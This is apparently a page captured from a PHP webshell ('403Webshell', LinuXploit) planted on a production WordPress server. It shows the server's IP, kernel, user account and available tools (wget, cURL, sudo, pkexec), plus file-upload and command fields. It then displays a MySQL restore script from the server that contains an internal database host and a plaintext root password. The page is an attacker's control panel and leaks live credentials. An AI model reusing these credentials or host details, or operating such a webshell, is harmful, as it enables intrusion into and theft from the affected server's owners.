403Webshell
Server IP : 158.178.228.73  /  Your IP : 80.80.80.153
Web Server : Apache/2.4.37 (Oracle Linux Server) OpenSSL/1.1.1k
System : Linux ust-wp1-prod 5.15.0-308.179.6.el8uek.x86_64 #2 SMP Wed Apr 23 10:46:57 PDT 2025 x86_64
User : tomasFtp ( 1007)
PHP Version : 8.4.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/proc/self/root/proc/thread-self/root/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/proc/self/root/proc/thread-self/root/bin/restore_mysql_www.sh
#!/bin/bash

# === CONFIGURATION ===
HOST=80.80.81.111     
PORT=3306
USER="root"
PASSWORD="Root%40ust-mysql1-prod4WordPress" # WARNING: Consider using a .mylogin.cnf or prompt instead


## SUCCESS: with static dump directory
#mysqlsh --uri "$USER:$PASSWORD@$HOST:$PORT" --js -e '
#util.loadDump("/backup/www.ust-wp1-prod.20250620_230001", {
#    schema: "www",
#    threads: 4,
#    showProgress: true
#});
#'

## SUCCESS: with read parameter
# Prompt user for dump path
echo "====================================================================="
echo "DROP ALL TABLES ON WWW SCHEMA FIRST BEFORE RUNNING RESTORE!"
echo "====================================================================="
read -rp "ENTER THE FULL PATH TO THE DUMP DIRECTORY: " DUMP_DIR


mysqlsh --uri "$USER:$PASSWORD@$HOST:$PORT" --js -e "
util.loadDump(\"$DUMP_DIR\", {
    schema: \"www\",
    threads: 4,
    showProgress: true,
    resetProgress: true
});
"


# === OPTIONAL: VERIFY BACKUP ===
if [ $? -eq 0 ]; then
    echo "Restore completed successfully."
else
    echo "Restore failed." >&2
    exit 1
fi


Youez - 2016 - github.com/yon3zu
LinuXploit